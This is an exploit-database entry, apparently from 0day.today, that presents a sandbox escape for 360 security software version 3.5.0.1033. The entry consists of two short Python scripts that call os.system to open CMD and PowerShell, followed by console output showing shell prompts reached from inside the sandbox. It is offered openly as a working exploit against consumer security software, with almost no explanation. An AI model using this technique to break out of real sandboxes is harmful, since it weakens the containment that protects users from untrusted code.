360 3.5.0.1033 - Sandbox Escape Exploit

# Exploit Title: 360 3.5.0.1033 - Sandbox Escape
# Exploit Author: vr_system
# Vendor Homepage: https://www.360.cn/
# Software Link: https://dl.360safe.com/360/inst.exe
# Version: 3.5.0.1033
# Tested on: 3.5.0.1033
# CVE : None
 
# 1、CMD_test.py
import os
os.system("CMD")
 
# 2、PowerShell_test.py
import os
os.system("PowerShell")
 
# 3、
# Running CMD_test.py in sandbox：
Microsoft Windows [版本 10.0.17134.254]
(c) 2018 Microsoft Corporation。保留所有权利。
 
C:\Python27>
 
# Running PowerShell_test.py in sandbox：
Windows PowerShell
版权所有 (C) Microsoft Corporation。保留所有权利。
 
PS C:\Python27>

#  0day.today [2018-10-09]  #